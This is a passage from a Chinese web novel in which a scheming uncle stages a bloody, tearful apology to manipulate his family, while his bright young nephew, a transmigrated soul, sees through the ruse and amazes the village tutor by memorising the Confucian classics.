“还要把一辈子的学问都教给他,让他天天留在书斋里开小灶!” “你说这怎么办?你那大侄子要是真读成了,以后咱们明文……” 陆从智的脸色瞬间变了。 “此话当真?” “我亲耳听见的,还能有假?” 赵氏急得直跺脚,满脸的怨恨:“你还想着让他下地干活,供咱们明文读书?做梦去吧!” “人家现在是金疙瘩,大伯一家还不得把他当祖宗一样供起来!” “以后明文的求学恐怕会难上加难!” 陆从智的眉头拧成了一个疙瘩,在屋里烦躁地走了两圈。 他这几天在田里演戏,就是为了麻痹陆从文,图穷匕见的那一天,好拿捏住对方。 到时候让陆从文拖延陆明渊两年,先让他们家明文去府学! 现在好了,村里的夫子说陆明渊是举人之资! 这话传出去,陆从文就算再愚笨,也绝对不会拖延陆明渊读书的日子! “不行,不能再等了!”陆从智眼中闪过一丝狠厉。 赵氏凑上来,眼神阴毒:“当家的,既然让他下地这条路走不通,咱们就换条路!他陆明渊不是有出息吗?那正好!就让咱们明文跟着他,一起去府学!” “亲兄弟,亲堂兄弟,理应互相帮衬,不是吗?” “去府学?哪来的钱?”陆从智冷哼一声。 “大房不是有那份嫁妆吗?”赵氏眼中闪着贪婪的光。 “他陆明渊要去,咱们明文也要去!他要是不肯卖,我们就去找娘!”她顿了顿,声音压得更低。 “娘手里,可还有她压箱底的嫁妆呢!” “她不是最疼明文吗?不是总说明文读书好吗?” “现在就到了她这个做祖母的,为孙儿前程出力的时候了!” “就说大伯偏心,有了钱只顾自家儿子,不管亲侄儿死活!” “娘那个脾气,一听这个,还不闹翻了天?到时候,看他陆从文的脸往哪儿搁!” 陆从智闻言,眼睛骤然一亮。 对啊! 釜底抽薪不成,那就顺水推舟,趁势而上! 他一拍大腿,脸上露出了然的阴笑:“还是你脑子转得快!就这么办!” 他立刻对赵氏吩咐道:“你别声张,这事我来安排。” “我三天前就让明文去了县里,嘱咐他别吃好睡好,天天熬夜苦读,做出个样子来。” “现在,是时候让他回来了!” 他快步走出家门,找到了村里时常帮人跑腿的王二麻子,塞了几个铜板,让他立刻去县城,把陆明文接回来。 …… 傍晚,夕阳的余晖将村口的老槐树染上了一层金边。 陆从智扛着锄头,满身疲惫地从田里回来。 刚到村头,就看见王二麻子领着一个瘦削的身影,正在树下等着他。 正是他的儿子,陆明文。 不过几日不见,陆明文整个人像是被抽了精气神,脸色蜡黄,眼窝深陷,嘴唇干裂。 身上那件半旧的青衫显得空空荡荡,风一吹,整个人都摇摇欲坠,仿佛一阵风就能吹倒。 这副模样,任谁看了,都要说一句“用功过度,形销骨立”。 陆从智心中大为满意,脸上却立刻换上了一副心疼又愤怒的表情。 他快步上前,却不去看儿子,而是拉着王二麻子,走到一旁,压低声音道:“王哥,多谢了。你先回,这事儿跟你没关系。” 打发走了王二麻子,陆从智这才转身,一言不发地走到路边的荆棘丛里,折了两根最粗最长的荆条,上面还带着尖锐的刺。 陆从智将荆条折断,咬着牙捆在了背上! 荆条扎在背上,瞬间就扎出了血痕,陆从智也疼的龇牙咧嘴! 想到儿子上府学的二十两束脩,平日里好吃懒做,贪生怕死的陆从智生出了一股戾气! 他咬着牙看向陆明文,沉声道:“等会儿跟爹回去,向你奶奶,向你大伯一家道歉!” 陆从智的声音在暮色里有些发沉,背上的荆条,根根分明,深深嵌入他的皮肉里。 血珠子,一粒粒地从布衫下渗出来,染红了那片粗麻。 陆家大院的门槛,在陆从智眼中仿佛成了一道龙门。 他深吸一口气,那股子戾气被他强行压下,换上了一副悔恨交加的神情。 他领着形容枯槁的陆明文,一步一顿地踏了进去。 院子里静悄悄的,只有灶房里传来王氏忙碌的声响。 陆从智没往别处去,径直走到了东厢房,那是老太太的住处。 “噗通”一声。 他双膝一软,就那么直挺挺地跪在了老太太的房门前。 青石板地冰冷坚硬,膝盖骨与地面碰撞的声音,在这寂静的院落里显得格外清晰。 “娘!儿子不孝!儿子给您磕头了!” 这一声哭喊,像是从胸膛里硬生生撕扯出来的,带着哭腔,带着颤音。 屋里的老太太正准备歇下,被这一嗓子吓得心头一跳,拄着拐杖颤巍巍地走了出来。 一开门,便看见了这副景象。 小儿子背着血淋淋的荆条,跪在地上,大孙子陆明文面无人色地站在一旁,仿佛一阵风就能吹倒。 “你……你这是做什么!” 老太太又惊又怒。 陆从智抬起头,满脸的泪水混着汗水和灰尘,要多狼狈有多狼狈。 他膝行两步,抱住老太太的腿,嚎啕大哭。 “娘啊!儿子错了!儿子知道错了!” “儿子不该为了明文去府学的事,花钱去请什么县里的夫子来蒙骗您!” “儿子这是被猪油蒙了心,被鬼迷了窍啊!” 他一边说,一边用手捶打着自己的脑袋,发出“砰砰”的闷响。 “儿子就是个混账!可儿子也是想着,明文是我们陆家的读书种子,是我陆家的未来!” “我……我一时走了邪路,想着先把他送进府学,以后出息了,再来跟您,跟大哥大嫂请罪!” “娘,您就念在儿子这些年也算勤勤恳恳,没功劳也有苦劳的份上,饶了儿子这一次吧!” 赵氏也适时地从屋里冲了出来,一见这阵仗,眼圈一红,也跟着跪在了陆从智旁边,一边抹泪一边帮腔。 “娘,您别气坏了身子。当家的他知道错了,他这几天吃不下睡不着的,心里跟油煎似的。” “咱们……咱们又不是干了什么伤天害理的杀人放火事,不就是想让孩子有个好前程,使了点糊涂心思吗?” “说到底,还不都是为了咱们陆家的香火,为了咱们陆家的未来!您就给他一次机会吧!” 这一唱一和,将一桩蓄意的欺骗,说成了一片为家族着想的“糊涂心思”。 第027章 亲兄弟没有隔夜仇? 陆从智见火候差不多了,一把将身后的陆明文也拉了下来,让他跟自己并排跪着。 他指着儿子那张蜡黄的小脸,声音里充满了痛心疾首。 “娘,您瞧瞧明文!您瞧瞧这孩子!” “他知道我这个当爹的做错了事,丢了人,回去之后心里憋着一股劲儿,没日没夜地苦读。” “茶不思饭不想,这才不到十天的功夫,人都快熬干了!” “县里的夫子都怕他读出个好歹来,特意捎信给我,让我赶紧把孩子接回来养养!说再这么下去,人就废了!” 他话锋一转,将所有的罪责都揽到自己身上。 “娘!千错万错,都是我陆从智一个人的错!是我鬼迷心窍,是我利欲熏心!” “可明文是无辜的啊!这孩子他是咱们陆家的希望,是咱们陆家过去七年,省吃俭用,一文一文从牙缝里省出来,才供到今天的读书种子啊!” “总不能因为我这个当爹的犯了浑,就断了他的前程啊!” 说到最后,他猛地推了一把陆明文,厉声喝道:“明文!你自己跟你奶奶说!你今年,能不能考中县试!能不能给咱们老陆家,添上一个童生的功名!” “你大声说,让你奶奶听听,让你大伯大娘也听听!” 这一声喝问,如同惊雷。 陆明文瘦弱的身体猛地一颤,他抬起头,那双深陷的眼窝里,此刻却迸发出一股倔强而明亮的光。 他看着老太太,看着这昏暗的院子,用尽全身力气,一字一句,清晰地说道:“奶奶,孙儿向您保证!今年县试,孙儿必中童生!” 他深吸一口气,声音陡然拔高。 “孙儿还会十倍、百倍地努力!孙儿要考秀才,要中举人!” “孙儿要光耀陆家门楣,让您,让爹娘,让大伯大娘,都过上好日子!” 老太太本就年纪大了,心肠软。 一边是背着荆条,哭得涕泪横流的亲儿子; 一边是瘦得脱了相,却依旧志气高昂的亲孙子。 她哪里还分得清这里面有几分真情,几分演戏。 她只看到儿子认错了,那背上的血迹是那么刺眼。 她只看到孙子受苦了,那凹陷的眼眶让她心疼得直抽抽。 更何况,那句“光耀陆家门楣”,对于一个操劳了一辈子的农村老妇人来说,是多么大的诱惑。 她长长地叹了一口气,那口气里,有无奈,有心疼,也有一丝被说服的动摇。 她走上前,用那双满是褶皱的手,颤抖着去扶陆从智。 “你……你这个不省心的东西!快起来!快把那劳什子玩意儿给扔了!这是要我的老命啊!” 她声音里带着哭腔,算是彻底原谅了。 陆从智心中一块大石落地,却依旧不肯起来,只是哭得更凶了。 赵氏见状,连忙上前扶住老太太,嘴里念叨着:“娘您消消气,他知道错了,以后再也不敢了。” 一家人正拉扯间,院门“吱呀”一声被推开。 陆从文扛着锄头,一身汗水地从田里回来了。 他一进门,就看到了院子里这诡异而又戏剧性的一幕,整个人都愣住了。 跪在地上的陆从智,眼角余光瞥见大哥的身影,心中猛地一跳。 他知道,最关键的一关来了。 他没有丝毫犹豫,放开老太太的腿,转身对着陆从文的方向,重重地,再次跪了下去。 这一次,他的额头结结实实地磕在了青石板上,发出一声沉闷的响声。 “大哥!我对不起你!我对不起大嫂!我不是人!” 那一声闷响,像是砸在了陆从文的心坎上。 弟弟陆从智,那个从小跟在自己身后,连下地都怕晒黑了皮的弟弟。 此刻正背着血肉模糊的荆条,额头抵着冰冷的青石板,跪在自己的面前。 那哭喊声,撕心裂肺,却又带着几分压抑的悔恨。 陆从文的心,一下子就软了。 他心里装的东西简单,无非是土地、收成、家人。 他对人心的算计,远不如他对节气的把握来得精准。 他只看到弟弟背上的血,听到他话语里的痛,那股子从地里带回来的疲惫,瞬间被一种更沉重的心疼所取代。 “你……你这是干什么!有话起来说!” 陆从文扔下锄头,大步上前,就要去扶。 陆从智却死死跪在地上,抬起那张涕泪横流的脸,用力地摇着头,声音沙哑地哭诉道。 “不!大哥!我不起来!我没脸起来!” “我混账!我不是东西!为了明文进府学那点虚名,我……我竟然想出那种上不得台面的法子,去骗娘,去骗你跟大嫂!” “大哥,你从小就疼我,有什么好东西都先紧着我。爹走得早,你长兄为父,撑起这个家。” “我……我却不知感恩,为了自己那点私心,让你和娘操碎了心,丢尽了我们陆家人的脸!” 他每一个字都咬得极重,一刀一刀地剜着自己的心。 “我就是想着,明文这孩子争气,能读进去书。” “只要他能进府学,将来考个功名,咱们家就能挺直腰杆,你跟大嫂也不用再这么辛苦了。” “我……我就是想走个捷径,结果走了邪路啊!” “大哥,你打我吧!你骂我吧!只要你能解气,怎么都行!” “我只求你,求你看在咱们是亲兄弟的份上,看在明文还是个孩子的份上,给我一次改过自新的机会!” 这番话,说得情真意切,感人肺腑。 陆从文伸出去的手,僵在了半空中。 他嘴唇翕动,想说几句重话,可看着弟弟那副模样,却一个字也说不出来。 心疼,终究是压过了那份被欺骗的愤怒。 此时,一直被赵氏搀扶着的老太太,拄着拐杖,颤巍巍地走了过来。 她浑浊的眼睛里噙着泪,看着两个儿子,一个站着,一个跪着,心疼得如同刀绞。 “从文啊……”老太太的声音带着浓重的鼻音。 “你弟弟他……他知道错了。你看他把自己折腾成这个样子,这罪,也遭够了。” “你们是亲兄弟,打断骨头还连着筋。” “这个家,没了你们爹,就指望你们两兄弟相互扶持着往前走。” “咱们陆家的希望,不就在你们俩,在明文和明渊他们这些孩子身上吗?” “他是一时糊涂,可心是好的,都是为了这个家。你就……就原谅他这一回吧。” 娘的话,散了陆从文心中最后那点硬气。 是啊,亲兄弟没有隔夜仇。 更何况,二弟只是想让孩子有个好前程,虽说方法错了,但那份心…… 陆从文长长地叹了一口气,那口气里,有无奈,有疲惫,更有作为兄长的担当。 他点了点头,不再犹豫,弯下腰,用尽力气将陆从智从地上拽了起来。 “起来吧!” 他的声音有些干涩,却很坚定。 “兄弟之间,没有隔夜仇。你是一时走错了路,只要能醒悟过来,就不晚。” 他拍了拍陆从智的肩膀,那上面还残留着荆条勒出的血印,黏糊糊的。 陆从文的眉头皱了一下,随即松开。 “这些都是小事,过去了就过去了。以后别再动那些歪心思。” “咱们家是穷,但还没到要靠坑蒙拐骗过日子的地步。” “有那份心,不如用在正道上。咱们两兄弟,一起使劲,日子总会好起来的。” 这番话,便是彻底的原谅了。 陆从智顺着大哥的力道站起身,脸上依旧是感激涕零的模样,口中连声道。 “谢谢大哥!谢谢大哥!我以后再也不敢了!” 一家人,似乎终于达成了和解。 老太太欣慰地抹着眼泪,赵氏也破涕为笑,忙着去给陆从智解下背上的荆条。 灶房的门帘后,一双眼睛,将这一切尽收眼底。 陆明渊一直站在那里,没有出声。 …… 第028章 那就先看看吧 他看着二叔被父亲扶起来的那一刻,对方眼神中闪烁过一丝精光神色。 那不是悔恨后的释然,也不是被原谅后的感激。 而是一种……计谋得逞后的松弛与得意。 陆明渊在心里轻轻地摇了摇头。 这位二叔,将人心算计得明明白白。 知道奶奶心软,知道父亲重情。 用最激烈的方式,将一件本该受到严惩的“欺骗”,轻描淡写地化解成了一桩“为家族着想的糊涂事”。 甚至,他还借此机会,将陆明文“苦读成疾”的形象深深地刻在了奶奶和父亲的心里。 从今往后,谁若是再对陆明文的学业有半分质疑,便是对这个“为家族耗尽心血”的孩子的残忍。 好手段。 陆明渊心中清楚,这件事,远没有表面上看起来那么简单。 这不过是一个开始。 二叔一家既然能为了一个虚无缥缈的府学名额,上演这么一出大戏,那么日后为了更实在的利益,只会变本加厉。 不过,陆明渊并没有急着说什么。 他只是一个十岁的孩子。 此刻冲出去揭穿这一切,不仅不会有人相信,反而会落得一个“不懂事”、“挑拨离间”的罪名。 那是最愚蠢的做法。 他默默地看着院子里那“兄友弟恭,母慈子孝”的场面,看着父亲憨厚的脸上露出释然的笑容,看着母亲王氏从灶房里端出热水,准备给二叔擦拭伤口。 所有人都沉浸在这份虚假的温情里。 只有他,像一个局外人,冷静地旁观着。 那就先看看吧。 看看自己这位好二叔,费了这么大的周折,究竟想搞什么幺蛾子。 夜色如墨,陆家小院,东厢房的油灯将两道人影映在窗纸上,微微晃动。 “嘶……你轻点儿!” 陆从智趴在硬邦邦的床板上,疼得龇牙咧嘴。 赵氏正小心翼翼地涂药。 那药膏气味刺鼻,混杂着淡淡的血腥味,在闷热的屋子里弥漫开来。 “现在知道疼了?下午那会儿,你拿荆条抽自己的狠劲儿哪去了?” 赵氏嘴里埋怨着,手上的力道却放得更轻了。 她看着丈夫背上那一片触目惊心的红肿,又是心疼又是没好气。 “我说你也是,想让大哥大嫂他们心软,做做样子也就罢了,何苦真把自己往死里折腾?” “这皮开肉绽的,得多少天才能下地?” “还有明文,瞧瞧咱们儿子那脸白的,跟纸糊似的,这几天跟着你演戏,人都瘦了一圈。值得吗?” “你懂什么?” 陆从智忍着背上的刺痛,他侧过头:“妇人之仁,头发长见识短。” “你以为我这是白挨的?这一顿打,换来的东西可金贵着呢!” 他稍稍动了动身子,牵动了伤口,又是一阵抽气:“你看看外头,秋收刚完,接下来是什么?是翻地,是冬种,是烧秸秆、送肥,哪一样是轻松活计?” “我今天把自己弄成这副鬼样子,你觉得大哥那实心眼的,还好意思让我下地?” “我这一身伤,少说也得养上个把月。这一个月,地里的苦活累活,不就都落在他们大房身上了?” “这叫苦肉计,懂不懂?用身上几两肉,换一个月清闲,这买卖,划算!” 赵氏的眼睛一下子亮了:“哎哟,当家的,还是你聪明!” “这还只是其一。”陆从智哼了一声,似乎很享受妻子的吹捧:“最要紧的,是明文的束脩。府学那边催得紧,眼瞅着就要交了。” “我今天把姿态做足了,把悔意演透了,大哥心里那点气早就消了,剩下的全是愧疚和心疼。” 他顿了顿,一字一句地说道:“等过个三五天,我这伤口好些了,你再去大嫂面前哭一哭,说为了给明文凑束脩,家里已经揭不开锅了。你猜,大哥会不会掏这个钱?” 赵氏恍然大悟,一拍大腿,脸上的心疼瞬间变成了狂喜。 “肯定会!就大哥那性子,他指定得管!” “那不就结了?” 陆从智得意地笑了,“我这一身伤,既躲了农活,又解决了明文的束脩,一箭双雕。你说,值不值?” “值!太值了!” 赵氏笑得合不拢嘴,手上的力道也不自觉地重了些。 “哎哟!疼疼疼……” …… 与东厢房的得意不同,西厢正屋里的气氛则显得有些沉静。 王氏坐在灯下,手指灵巧地捻着丝线,一针一线地在绷紧的绸布上绣着花样。 那是她接来的活,一幅屏风绣面,能换几十个铜板,贴补家用。 此刻,她那双秀丽的眉毛,正微微蹙着:“当家的,你不觉得……今天这事儿,有点反常吗?” 她停下手中的针线,抬眼看向坐在桌边编草鞋的丈夫。 陆从文正低着头,一双长满老茧的大手,正熟练地将浸过水的稻草搓捻、编织。 那双手能扛起百斤的麻袋,也能做这般细致的活计。 听到妻子的话,他抬起头,憨厚地笑了笑,道:“反常?哪里反常了?” 他有些不解。 “二弟他知道错了,也受了罚,这不挺好的吗?” “好是好,可就是……太顺了。”王氏将绣绷放到一边,轻声说道:“二弟那个性子你又不是不知道,平日里让他认个错比登天还难。” “今天这又是负荆请罪,又是声泪俱下的,倒像是早就排演好的一出戏。” 她的话语里带着一丝不易察觉的忧虑。 “我总觉得,这事儿没那么简单。保不齐,后头还有什么幺蛾子等着咱们呢。” 陆从文闻言,放下了手里的草鞋,脸上依旧是那副宽厚的神情。 他摇了摇头:“你想多了。娘不是也说了吗,他是一时糊涂。” “你看他把自己打成那样,明文那孩子也吓得瘦脱了相,这还能有假?” “他要是存心演戏,何必下这么大的本钱?” 他看着妻子,眼神里满是真诚。 “再说了,我们是亲兄弟,打断骨头还连着筋。我这个当大哥的,还能眼睁睁看着他走上邪路不成?” “只要他不是犯了杀人放火那种不可饶恕的大错,我多担待一些,多照顾一些,那也是天经地义的。” 这是陆从文的道理,简单朴素。 是从小到大,从他父亲那里继承来的,刻在骨子里的长子担当。 王氏看着丈夫那张写满了“真诚”与“担当”的脸,心中一声轻叹。 她还能说什么呢? 当年,她一个大户人家的小姐,抛下一切,不就是看上了这个男人骨子里的这份淳朴与善良吗? 这些年,日子是苦了些,可他从未让她受过半分委屈,总是把最好的都留给她们母子。 只是,他的善良,对家人是蜜糖,可若是遇上别有用心的人,那便是能被轻易利用的软肋。 心中无奈,却又感到一阵欣慰。 她不再争辩,只是目光不经意地扫过窗外,正对上儿子陆明渊那间小屋的窗户。 一豆灯火,依旧亮着,在漆黑的院落里,显得格外清晰。 这孩子,又在用功了。 王氏的心一下子就软了。 所有的烦闷和忧虑,在看到那点光亮的瞬间,都化作了母亲对儿子的心疼。 她站起身,对陆从文柔声道:“你先编着,我去给渊儿热点东西吃。” 说着,她转身走向灶房。 冰冷的灶膛里还有些余温,她熟练地添了把柴,引燃了火。 锅里添上水,放上蒸架,一个鸡蛋被小心地磕在碗里,用筷子搅散,撒上一点点珍贵的盐末,再兑上温水。 很快,水汽氤氲,蒸蛋的香气在小小的灶房里弥漫开来。 王氏用布巾垫着手,端出那碗嫩黄爽滑的鸡蛋羹,小心地穿过院子,来到陆明渊的房门前。 她轻轻推开门,只见儿子果然还坐在书桌前。 “渊儿。”王氏的声音很轻。 陆明渊回过头,看到是母亲,脸上露出一个浅浅的笑。 “娘,您怎么还没睡?” “看你这儿还亮着灯,就给你蒸了个蛋。” 王氏将碗放到桌上,腾腾的热气模糊了灯光。 “趁热吃了,别读得太晚,伤了眼睛。” 她伸出手,疼爱地摸了摸儿子的头,柔声道。 “身子是读书的本钱,可不能熬坏了。” “知道了,娘。” 陆明渊将鸡蛋羹放在一边儿,继续写着话本! 第029章 学生所言,句句属实 “知道了,娘。” 陆明渊将鸡蛋羹放在一边儿,并未立即动勺,而是重新拿起笔,在一方廉价的草纸上继续写着话本。 墨迹在草纸上晕开。 他笔下的故事,是一个猴子、一个和尚、一头猪和一位河妖西行取经的奇谈,是他前世记忆里最璀璨的瑰宝之一。 在这个文娱匮乏的世界,这便是他为这个家,为自己挣得第一桶金的依仗。 王氏在门口静静地看了一会儿,终究没有再打扰,转身轻轻带上了门。 屋内复归宁静,床榻上,蜷缩着的小小身影动了动。 弟弟陆明泽只有三岁,正是贪睡的年纪,此刻却像一只嗅到腥味的小猫,鼻子在空气中用力地抽动了两下。 那碗鸡蛋羹的香气,仿佛一缕看不见的丝线,精准地勾住了他梦乡里的馋虫。 “饿……” 一声含混不清的呢喃,从被角下传来。 陆明渊闻声停笔,回头看去,不禁莞尔。 他放下笔,走到床边:“明泽,醒醒,有吃的。” 陆明泽揉着眼睛,迷迷糊糊地坐了起来,一双黑葡萄似的大眼睛在昏暗的灯光下显得格外明亮。 当他的目光锁定在桌上那碗尚冒着热气的鸡蛋羹时,所有的睡意瞬间烟消云散。 “蛋蛋!” 他奶声奶气地欢呼一声,手脚并用地爬下床,小跑着扑到桌边。 陆明渊笑着将碗和勺子递给他,又搬来一个小凳子让他坐好。 小家伙显然是饿坏了,困得眼皮还在打架,小手却已经迫不及待地握住了勺子。 他笨拙地舀起一勺嫩黄的蛋羹,颤巍巍地往嘴里送,结果一半进了嘴,一半糊在了脸颊上,像一只偷吃被抓了个现行的小花猫。 即便如此,那入口的香滑还是让他幸福地眯起了眼睛,小嘴满足地咀嚼着。 他吃了几口,忽然想起了什么,又舀了一大勺,高高举起,递到陆明渊嘴边,含糊不清地喊道。 “哥哥,七(吃)!” 灯光下,那张沾着蛋羹的小脸蛋上,满是纯粹的分享与依赖。 陆明渊的心像是被温水浸泡过一般,柔软得一塌糊涂。 他伸出手,用指腹轻轻刮掉弟弟脸上的蛋羹残渣,温声道:“哥哥吃过了,明泽快吃吧,吃了长高高。” 陆明泽似懂非懂地点点头,见哥哥不吃,便不再坚持,老老实实地坐回小凳子上,专心致志地对付起碗里的美食。 陆明渊重新回到书桌前,提笔继续他的西行大业。 …… 夜色褪尽,晨光熹微。 当第一缕天光刺破窗纸时,陆明渊已经收拾妥当,向着村里的学堂走去。 村里唯一的教书先生,赵夫子是个老秀才,早年也曾有过一番际遇,只是时运不济,最终还是回到了这陆家村,开馆授徒,勉强度日。 更重要的是,他欣赏陆明渊的天赋与勤奋。 学堂里,已经有三三两两的蒙童在摇头晃脑地背着《三字经》。 见到陆明渊进来,赵夫子招了招手,将陆明渊叫到跟前。 “明渊,你来了。” 赵夫子从书案下抽出几本泛黄的旧书,郑重地放在桌上。 “《三字经》、《百家姓》、《千字文》这些启蒙读物,你已尽数通晓,且能举一反三,足见天资不凡。从今日起,便不必再与他们一同蒙学了。” 他指着那几本书,神情严肃了几分。 “这是《大学》、《论语》、《中庸》,还有半部《孟子》。” “此乃‘四书’,是科举取士的根本。天下文章,万般变化,其根源皆出于此。” “你需用心精读,不求甚解,先要通篇背诵,将其刻在脑子里,融会贯通。” “唯有如此,方能为日后的科举正途,打下最坚实的地基。” “学生明白。” 陆明渊恭敬地应道,眼神里没有半分孩童的怯懦,他拿起最上面那本薄薄的《大学》,翻开了第一页。 “大学之道,在明明德,在亲民,在止于至善……” 当他的目光触及那些熟悉的文字时,一种奇妙的感觉瞬间笼罩了全身。 窗外的喧嚣,同窗的诵读声,一切都仿佛潮水般退去。 他的世界里,只剩下书页上那一行行蕴含着圣人智慧的文字。 学堂里点着一炷静心香,用以计时。 袅袅的青烟盘旋而上,香灰一寸一寸地落下。 当第一炷香燃尽时,陆明渊已经合上了《大学》的书页。 两千余字的经文,连同注释,已尽数纳入胸中,分毫不差。 他没有停歇,紧接着拿起了《论语》。 “学而时习之,不亦说乎……” 一个时辰悄然而过。 当学堂里的蒙童们还在为《百家姓》里的某个生僻字而抓耳挠腮时,陆明渊已经放下了手中的第三本书——《中庸》。 他的面前,只剩下那半部《孟子》。 《孟子》全书七篇,洋洋洒洒三万余言,赵夫子这里的藏书显然不全,但这并不妨碍陆明渊将其迅速“吞下”。 又过了片刻,当他将最后半部书也读完后,他缓缓站起身,捧着那几本旧书,走到了正在闭目养神的赵夫子面前。 赵夫子睁开眼,见是他,有些讶异:“明渊,可是有何处不解?” 在他想来,这孩子刚接触如此深奥的经义,遇到疑难是再正常不过的事情。 陆明渊摇了摇头,将书本整齐地放回书案上,然后躬身一礼,语气平静地说道。 “夫子,学生……已经背完了。” “什么?” 赵夫子愣了一下,随即眉头微蹙,以为自己听错了。 “学生说,这三本半经书,学生已经全部记下,可以背诵了。” 陆明渊重复了一遍,声音不大,却清晰地传入赵夫子的耳中。 赵夫子的脸色沉了下来,眼中闪过一丝不悦。 “胡闹!” 他低声呵斥道,“此乃圣人经典,岂是让你这般囫囵吞枣、哗众取宠的?” “为学之道,贵在沉心静气,你这般浮躁,将来如何能成大器?回去,再给我仔仔细细地读上十遍!” 他认为,这定是陆明渊为了在他面前表现,才说出的狂言。 一个十岁的孩子,一个时辰多点,就敢说背完了“四书”的大半? 这简直是天方夜谭! 面对夫子的斥责,陆明渊没有争辩,也没有慌乱,只是再次躬身,目光清澈而坚定。 “夫子息怒。学生所言,句句属实。” “夫子若是不信,尽可随意考教一番,便知分晓。” 第030章 震惊的赵夫子 “夫子若是不信,尽可随意考教一番,便知分晓。” 此言一出,学堂内原本有些嘈杂的蒙童诵读声,仿佛被一只无形的手扼住,瞬间安静了下来。 几双好奇的眼睛,偷偷地从书本后面探出来,望向这对峙的师生。 赵夫子看着眼前这个身高尚不及自己胸口高的少年,心中的不悦渐渐被一种荒谬感所取代。 他执教数十年,见过聪慧的,见过勤勉的,却从未见过如此“狂妄”的。 他的手指在桌案上轻轻敲击着,发出沉闷的声响,像是在为自己的耐心倒数。 “好。” 他从牙缝里挤出一个字,枯瘦的手指拈起了那本薄薄的《大学》,随意翻开一页,目光扫过,冷冷道:“‘所谓诚其意者,毋自欺也。’下一句。” 这句出自经文中断,前后文意关联紧密,若是囫囵吞枣,极易混淆。 陆明渊几乎没有任何思索,清朗的声音在寂静的学堂里响起,字正腔圆,不疾不徐。 “如恶恶臭,如好好色,此之谓自谦。故君子必慎其独也。” 赵夫子愣住了。 对上了,分毫不差。 或许是巧合? 这孩子恰好记住了这一段? 赵夫子心中闪过这个念头,随即自己都觉得可笑。 他压下心头那丝异样,不动声色地合上《大学》,转而拿起了《中庸》。 他的目光变得锐利起来,不再是随口一提,而是直接翻到了篇末。 那里有他自己多年研读后,用小楷朱笔写下的几行注解,用以阐发“中庸”之至理。 这些注解,是他个人的心得,别无分号,是辨别真伪的最好试金石。 “‘君子之道,辟如行远必自迩,辟如登高必自卑。’此句之后,我注有一言,你且背来听听。” 这个问题,已然超出了单纯背诵的范畴,更是对他观察力与记忆力的双重考验。 陆明渊的目光微微垂下,仿佛在回忆那书页上的墨迹,片刻之后,他抬起头,眼神依旧清澈如初。 “夫子注曰:‘道不远人,人之为道而远人,不可以为道。故圣人之路,始于足下跬步,终于天下太平。其心一也,其行一也。’” 当最后一个“也”字落下,赵夫子只觉得脑中“嗡”的一声,仿佛有一道惊雷在耳边炸响。 他握着书卷的手,开始不受控制地微微颤抖。 如果说第一次是巧合,第二次是侥幸,那么这一次,连他亲笔写下的私注都能一字不差地背出,这……这已经不能用常理来解释了! 作弊? 当着自己的面,如何作弊? 赵夫子的呼吸陡然急促起来,浑浊的老眼死死地盯着陆明渊。 那眼神里再无半分不悦与斥责,取而代之的是一种近乎骇然的震惊! 他想起了县志里记载的那些神童逸事,想起了传说中那些生而知之的圣贤。 难道,自己这穷乡僻壤的学堂里,竟真的飞入了一只不凡的雏凤? 学堂里的蒙童们大气都不敢出,他们虽然听不懂夫子与陆明渊在说什么,却能清晰地感受到气氛的凝重与诡异。 赵夫子激动的胸膛剧烈起伏,他强迫自己冷静下来,深吸一口气,他要看看,这块璞玉,究竟是浑然天成,还是仅仅只有一块光鲜的外壳。 他放下书,声音因激动而略带沙哑。 “背得好,背得极好。然,读书之道,不止于记诵。我且问你,你既已通读《大学》与《中庸》,可否说说,何为‘格物致知’?又如何将其用于修身齐家?” 这是一个引申的问题,考验的是理解与融会贯通的能力。 这一次,陆明渊沉默了。 他那张沉静的小脸上,终于露出了一丝与年龄相符的茫然。 他前世的知识体系与此截然不同,而这一世,他接触经义的时间太短,所有的认知都还停留在文字的表面。 他可以像一台精密的机器一样复述每一个字,却无法赋予这些文字深刻的内涵。 空气仿佛凝固了。 半晌,陆明渊抬起头,没有丝毫的掩饰与强辩,坦然地摇了摇头,躬身一礼。 “回夫子,学生……不知。学生所读之书甚少,积累浅薄,尚不能解其中深意。” 这句简单干脆的“不知”,像是一盆冷水,浇在了赵夫子那几乎要沸腾的心头。 然而,这盆冷水非但没有让他失望,反而让他长长地舒了一口气。 还好,还好他答不上来。 赵夫子只觉得额角渗出的冷汗,此刻竟有些冰凉。 若是这孩子连经义的引申阐发都能对答如流,那自己这个夫子,还有何颜面站在这里? 怕不是要当场拜他为师了。 他终于彻底放松下来,瘫坐在那张吱呀作响的太师椅上,看着陆明渊的眼神,复杂到了极点。 有欣慰,有庆幸,更有如获至宝般的狂喜。 “好,好一个‘不知’!” 赵夫子抚掌而叹,疲惫的脸上绽放出前所未有的光彩。 “知之为知之,不知为不知,是知也。明渊,你很好!” 他将桌上的书本重新整理好,郑重地推到陆明渊面前。 “你,是天生的读书种子。只是……起步太晚了些。” 赵夫子语气中带着一丝惋惜,但更多的是一种坚定的期许。 “记诵乃是根基,你已然拥有了常人难以企及的优势。” “接下来,你要做的,便是‘解’。多读,多看,多思。” “将这天下的书,都装进你的脑子里,再用你的心去慢慢地品,慢慢地悟。” 他站起身,拍了拍陆明渊的肩膀,一字一句地说道。 “从今往后,老夫会倾囊相授,助你走上这条青云路!” “多谢夫子!” 陆明渊深深一揖,这一拜,是发自内心的感激。 他知道,从这一刻起,他在这条艰难的科举路上,终于有了一位真正的引路人。 告别了赵夫子,陆明渊捧着那几本旧书,走出了学堂。 他没有直接回家,而是先去帮母亲将换来的米面扛回家中,又利索地劈好了晚饭要用的柴火,将水缸挑满。 王氏看着儿子小小的身躯却做着大人才能做的活计,眼中满是心疼,却又带着一丝欣慰的骄傲。 直到夕阳西下,炊烟袅袅升起,陆明渊才重新回到自己的小屋,点亮那盏昏黄的油灯,翻开了《孟子》。 而此刻,村东头的学堂里,那盏灯火,也同样亮着。 赵夫子送走了最后一名蒙童,却毫无倦意。 他来回踱步,脸上的兴奋之色久久不能平息。 他已经很久,很久没有过这种感觉了。 自从当年在官场失意,心灰意冷地回到这陆家村,他以为自己的人生就会在这日复一日的教书声中,如一潭死水般耗尽。 可陆明渊的出现,就像一颗天外飞来的巨石,在这潭死水中砸出了滔天巨浪! 这样的天赋,若是埋没在这小小的陆家村,简直是暴殄天物! 是他赵某人的罪过! 他,赵思齐,虽然才学有限,但终究有过一番际遇,也结识过几位身居高位的同窗故友。 想到这里,赵夫子眼中闪过一丝决然。 他走到书案前,小心翼翼地从一个上锁的木匣子里取出一块上好的徽墨,一方端砚。 他亲手研墨,神情肃穆。 